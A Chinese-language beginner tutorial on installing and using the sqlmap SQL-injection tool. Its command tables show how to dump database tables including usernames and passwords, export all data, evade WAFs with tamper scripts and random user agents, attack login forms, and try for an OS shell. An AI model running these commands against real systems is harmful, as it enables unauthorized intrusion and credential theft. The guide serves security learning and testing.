SQLmap 完整使用指南:环境搭建 + 命令详解 + 实操案例

SQLmap 完整使用指南:环境搭建 + 命令详解 + 实操案例

一、前言

sqlmap 是一款开源的 SQL 注入测试工具,支持 MySQL、Oracle、SQL Server 等主流数据库,可自动探测并利用 SQL 注入漏洞,实现数据库信息获取、数据导出甚至服务器权限控制。本指南针对新手设计,从环境搭建到命令实操逐步讲解,确保零基础用户也能快速上手。

二、环境准备:Python 安装与配置

sqlmap 基于 Python 开发,需先搭建 Python 运行环境(推荐 Python 3.6~3.12 版本,Python 2.x 已停止维护,3.13+ 可能存在兼容性问题)

2.1 下载 Python

访问 Python 官方下载页:https://www.python.org/downloads/ (选择 "Stable

Releases" 下的稳定版,格式为「Python 3.x.x」,如 3.12.4) 64 位系统:下载「Windows x86-64

executable installer」 32 位系统:下载「Windows x86 executable installer」

注意:避免下载无效版本(如原链接中 "python-3137" 为错误格式,正确版本号含小数点,如 3.12.4)。 安装

Python(关键步骤): 双击安装包,务必勾选「Add Python.exe to PATH」(自动配置环境变量,避免后续手动操作);

选择安装方式: 新手推荐「Install Now」默认安装(路径通常为 C:\Python312); 进阶用户可选「Customize

Installation」,自定义安装到非系统盘(如 D:\Python312,需记住路径)。

验证 Python 环境 打开命令提示符(CMD):按下 Win + R,输入 cmd 回车; 执行版本验证命令(出现以下结果即成功):

py -V # 或 python -V(若 py 命令无效,替换为 python)

成功示例:Python 3.12.4

失败处理:若提示 "不是内部或外部命令",需手动配置环境变量(见 2.3 节)。

手动配置环境变量(仅安装时未勾选 PATH 需操作)

右键「此电脑」→「属性」→「高级系统设置」→「环境变量」;

在「系统变量」中找到「Path」→ 双击编辑;

点击「新建」,分别添加以下 2 个路径(需替换为你的 Python 安装路径):

Python 主程序路径:D:\Python312

脚本路径(pip 等工具):D:\Python312\Scripts

点击「确定」保存,关闭所有 CMD 窗口后重新打开,执行 py -V 验证。

三、sqlmap 下载与目录配置

提供两种下载方式,新手推荐「官网直接下载」,进阶用户可选择「Git 克隆」获取最新版。

方式 1:官网直接下载(推荐新手)

访问 sqlmap 官网:https://sqlmap.org/

点击右上角「Download」,下载最新压缩包(格式为 .zip);

解压到指定目录:

新建无中文 / 无空格的文件夹(如 D:\Tools\sqlmap);

右键压缩包 →「解压到当前文件夹」,确保解压后目录包含 sqlmap.py(核心执行文件)。

方式 2:Git 克隆下载(需先装 Git)

安装 Git:访问 https://git-scm.com/download/win,下载后默认安装;

打开 CMD,切换到目标目录(如 D:\Tools):

bash

复制代码

cd /d D:\Tools # /d 用于跨盘符切换(如从 C 盘到 D 盘)

执行克隆命令,自动下载最新版 sqlmap:

bash

复制代码

git clone https://github.com/sqlmapproject/sqlmap.git

克隆完成后,生成 D:\Tools\sqlmap 目录,包含所有核心文件。

拉倒最后下载对应版本 安装完 配置环境变量

五、sqlmap 核心命令详解(分类整理)

按「基础探测→数据导出→优化绕过→高级功能→辅助调试」分类,每个命令含「格式 + 作用 +示例」,示例基于目标 URL http://127.0.0.1?name=1 编写。

| --dbs | 枚举目标服务器上的所有数据库名称 | ```bash

python sqlmap.py -u "http://xx/?id=1" --dbs

|

复制代码

| `--current-db` | 查看当前请求所连接的**默认数据库** | ```bash

python sqlmap.py -u "http://xx/?id=1" --current-db

```|

| `-r 本地请求文件.txt` | 加载本地保存的 HTTP 请求包(适用于 POST 注入、带 Cookie/Token 的场景,需先抓包保存为 TXT) | ```bash

# request.txt 为抓包后保存的 HTTP 请求内容

python sqlmap.py -r request.txt --dbs

```|

| `-d "数据库连接串"` | 直接连接数据库(无需通过 Web 注入,需知道数据库账号密码) | ```bash

# 格式:dbms://用户名:密码@IP:端口/数据库名(以 MySQL 为例)

python sqlmap.py -d "mysql://root:123456@127.0.0.1:3306/test"

```|

## 5.2 数据导出:表、列、内容提取

在确定数据库和表结构后,用于提取核心数据(如用户账号、密码),是注入测试的核心目标。

| 命令格式 | 作用 | 实操示例 |

|----------|------|----------|

| `-D 数据库名 --tables` | 枚举指定数据库下的**所有表名称** | ```bash

# 枚举 security 数据库的所有表

python sqlmap.py -u "http://xx/?id=1" -D security --tables

```|

| `-D 数据库名 -T 表名 --columns` | 枚举指定表下的**所有列名称**(需先通过 `--tables` 确认表名) | ```bash

# 枚举 security 库中 users 表的所有列

python sqlmap.py -u "http://xx/?id=1" -D security -T users --columns

```|

| `-D 库名 -T 表名 -C 列名1,列名2 --dump` | 导出指定列的**所有数据**(多列用英文逗号分隔,支持模糊匹配) | ```bash

# 导出 security.users 表中 id、username、password 列的数据

python sqlmap.py -u "http://xx?id=1" -D security -T users -C id,username,password --dump

```|

| `--dump-all` | 导出**所有数据库的所有表数据**(谨慎使用!数据量大时耗时久,易触发防护) | ```bash

python sqlmap.py -u "http://xx/?id=1" --dump-all

```|

| `-D 库名 -T 表名 --dump --start 1 --stop 10` | 导出指定表的**部分数据**(`--start` 起始行,`--stop` 结束行,适用于大表) | ```bash

# 导出 security.users 表的第 1~10 行数据

python sqlmap.py -u "http://xx/?id=1" -D security -T users --dump --start 1 --stop 10

```|

## 5.3 优化绕过:提高注入成功率(应对 WAF/过滤)

针对目标存在 WAF(Web 应用防火墙)或参数过滤的场景,通过脚本、请求调整绕过防护,减少 403/500 错误。

| 命令格式 | 作用 | 实操示例 |

|----------|------|----------|

| `--batch` | 自动选择默认选项(如"是否继续测试""是否保存配置"),无需手动交互 | ```bash

# 自动枚举 security 库的表,无需手动确认

python sqlmap.py -u "http://xx/?id=1" -D security --tables --batch

```|

| `--tamper 脚本名1,脚本名2` | 调用内置脚本对 Payload 编码/变形(绕过空格过滤、关键字拦截等,常用脚本见备注) | ```bash

# 用 space2comment(注释替换空格)+ unionalltounion(简化 UNION ALL)绕过过滤

python sqlmap.py -u "http://xx/?id=1" --tamper space2comment,unionalltounion

```|

| `--delay N` | 设置请求间隔为 N 秒(避免请求频率过高触发 WAF 频率限制,N 建议 1~3) | ```bash

# 每 1 秒发送 1 次请求,降低被封 IP 风险

python sqlmap.py -u "http://xx/?id=1" --dbs --delay 1

```|

| `--random-agent` | 随机生成浏览器 User-Agent 头(绕过基于 User-Agent 的过滤规则) | ```bash

python sqlmap.py -u "http://xx/?id=1" --dbs --random-agent

```|

| `-p 参数名` | 强制指定注入参数(避免 sqlmap 误判其他无关参数,集中测试核心参数) | ```bash

# 强制测试 URL 中的 name 参数,忽略其他可能的参数

python sqlmap.py -u "http://xx?id=1" -p name --dbs

```|

> 常用 `--tamper` 脚本说明:

> - `space2comment`:用 `/*!*/` 替换空格(绕过空格过滤)

> - `unionalltounion`:将 `UNION ALL SELECT` 简化为 `UNION SELECT`(绕过关键字拦截)

> - `charencode`:对 Payload 进行 ASCII 编码(绕过特殊字符过滤)

## 5.4 高级功能:POST 注入、多线程、权限控制

针对复杂场景(如 POST 表单、批量测试)或深度渗透(如获取服务器 Shell),提供进阶能力。

| 命令格式 | 作用 | 实操示例 |

|----------|------|----------|

| `--forms` | 自动检测页面表单(如登录框),尝试 POST 注入(无需手动构造 POST 数据) | ```bash

# 自动测试登录页表单的注入点

python sqlmap.py -u "http://xx/login.php" --forms

```|

| `-data "POST参数=值&参数2=值2"` | 手动指定 POST 数据(适用于已知表单参数的场景,模拟表单提交) | ```bash

# 模拟登录表单提交,测试 username/password 参数的注入点

python sqlmap.py -u "http://xx/login.php" -data "username=admin&password=123"

```|

| `--thread N` | 多线程加速探测(N 最大为 10,线程过多易被封 IP 或触发防护) | ```bash

# 5 线程枚举 security 库的表,提高效率

python sqlmap.py -u "http://xx/?id=1" -D security --tables --thread 5

```|

| `--os-shell` | 尝试获取目标服务器的**系统 Shell**(需数据库高权限,成功率较低,仅作参考) | ```bash

python sqlmap.py -u "http://xx/?id=1" --os-shell

```|

| `-m 目标URL列表.txt` | 批量测试多个 URL(TXT 文件中每行一个含参数的 URL,适用于批量扫描) | ```bash

# urls.txt 中每行一个 URL(如 http://xx/?id=1)

python sqlmap.py -m urls.txt --dbs

```|

## 5.5 辅助调试:日志查看与环境检测

用于排查注入失败原因(如 WAF 类型、Payload 有效性)或优化测试策略,减少无效操作。

| 命令格式 | 作用 | 实操示例 |

|----------|------|----------|

| `-v N` | 设置日志回显等级(0~6,等级越高信息越详细,默认 3) | ```bash

# 显示详细日志(等级 3),用于排查注入失败原因

python sqlmap.py -u "http://xx/?id=1" --dbs -v 3

```|

| `--identify-waf` | 检测目标是否部署 WAF 及 WAF 类型(如 Cloudflare、阿里云 WAF) | ```bash

# 确认目标 WAF 类型,针对性选择绕过策略

python sqlmap.py -u "http://xx/?id=1" --identify-waf

```|

| `--smart` | 启发式快速探测(跳过明显无效的测试,如不存在的参数、无注入特征的 URL) | ```bash

# 快速判断注入点,节省测试时间

python sqlmap.py -u "http://xx/?id=1" --smart --dbs

```|

| `--skip-urlencode` | 不对 URL 参数进行编码(适用于目标服务器不解析 URL 编码的场景) | ```bash

python sqlmap.py -u "http://xx/?id=1" --dbs --skip-urlencode

```|

| `--level N` | 设置注入探测等级(1~5,等级越高检测越全面,POST 注入需至少 `--level 2`) | ```bash

# 等级 3 探测,包含 Cookie、User-Agent 等参数的测试

python sqlmap.py -u "http://xx/?id=1" --dbs --level 3

复制代码

-u 指定目标URL (可以是http协议也可以是https协议)

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o 开启所有默认性能优化

--tamper 调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell 获取主机shell,一般不太好用,因为没权限

-m 批量操作

-c 指定配置文件,会按照该配置文件执行动作

-data data指定的数据会当做post数据提交

-timeout 设定超时时间

--level 设置注入探测等级

--risk 风险等级

--identify-waf 检测防火墙类型

--param-del="分割符" 设置参数的分割符

--skip-urlencode 不进行url编码

--keep-alive 设置持久连接,加快探测速度

--null-connection 检索没有body响应的内容,多用于盲注

--thread 最大为10 设置多线程

本教程仅供学习使用,切勿违法乱纪


【体彩知多少】保姆级兑奖攻略
儿童手机十大品牌排行榜